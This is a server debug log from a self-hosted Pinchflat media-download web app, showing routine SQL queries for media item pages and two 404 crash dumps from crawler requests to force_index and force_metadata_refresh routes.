PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13020", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 15:29:26.987 [debug] QUERY OK source="media_items" db=0.1ms idle=55.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 15:29:26.987 [debug] QUERY OK source="tasks" db=0.1ms idle=54.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13020] 15:29:26.987 [debug] QUERY OK source="sources" db=0.2ms idle=54.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:29:26.987 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=54.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1733] 15:29:26.988 [debug] QUERY OK source="settings" db=0.0ms idle=54.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:26.988 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:26.988 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:26.989 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:29:26.990 [info] Sent 200 in 4ms 15:29:27.478 [info] GET /sources/3/media/9353 15:29:27.478 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "9353", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 15:29:27.479 [debug] QUERY OK source="media_items" db=0.2ms idle=490.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9353] 15:29:27.479 [debug] QUERY OK source="tasks" db=0.1ms idle=490.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [9353] 15:29:27.479 [debug] QUERY OK source="sources" db=0.2ms idle=490.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:29:27.480 [debug] QUERY OK source="settings" db=0.0ms idle=490.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:27.480 [debug] QUERY OK source="settings" db=0.0ms idle=59.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:27.480 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:27.481 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:29:27.482 [info] Sent 200 in 4ms 15:29:27.978 [info] GET /sources/3/media/10464 15:29:27.978 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "10464", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 15:29:27.978 [debug] QUERY OK source="media_items" db=0.2ms idle=498.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [10464] 15:29:27.979 [debug] QUERY OK source="tasks" db=0.1ms idle=499.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [10464] 15:29:27.979 [debug] QUERY OK source="sources" db=0.2ms idle=498.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:29:27.979 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=499.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1355] 15:29:27.980 [debug] QUERY OK source="settings" db=0.1ms idle=498.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:27.980 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:27.980 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:27.981 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:29:27.983 [info] Sent 200 in 4ms 15:29:52.934 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.200 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:30:03.260 [info] GET /sources/2/force_index 15:30:03.261 [debug] QUERY OK source="settings" db=0.1ms idle=1730.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:30:03.261 [debug] QUERY OK source="settings" db=0.1ms idle=1730.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:30:03.261 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:30:03.262 [error] #PID<0.35829.0> running PinchflatWeb.Endpoint (connection #PID<0.35828.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/2/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 55166}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35829.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/2/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKJSZnws8t66RpcAEPqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 55166}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 55166}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35829.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthro (truncated) 15:30:03.296 [info] GET /sources/3/force_metadata_refresh 15:30:03.297 [debug] QUERY OK source="settings" db=0.1ms idle=1766.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:30:03.297 [debug] QUERY OK source="settings" db=0.1ms idle=1766.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:30:03.297 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:30:03.297 [error] #PID<0.35830.0> running PinchflatWeb.Endpoint (connection #PID<0.35828.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/3/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 55166}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35830.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/3/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKJSZn5PxPisnu8AEPsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 55166}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 55166}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35830.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", (truncated) 15:30:03.823 [info] GET /media_profiles/new 15:30:03.823 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 15:30:03.824 [debug] QUERY OK source="settings" db=0.1ms idle=562.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:30:03.824 [debug] QUERY OK source="settings" db=0.0ms idle=562.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:30:03.824 [debug] QUERY OK source="settings" db=0.0ms idle=527.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:30:03.825 [debug] QUERY OK source="settings" db=0.0ms idle=527.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:30:03.825 [debug] QUERY OK source="settings" db=0.0ms idle=367.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:30:03.826 [info] Sent 200 in 3ms 15:30:04.326 [info] GET /sources/2/force_metadata_refresh 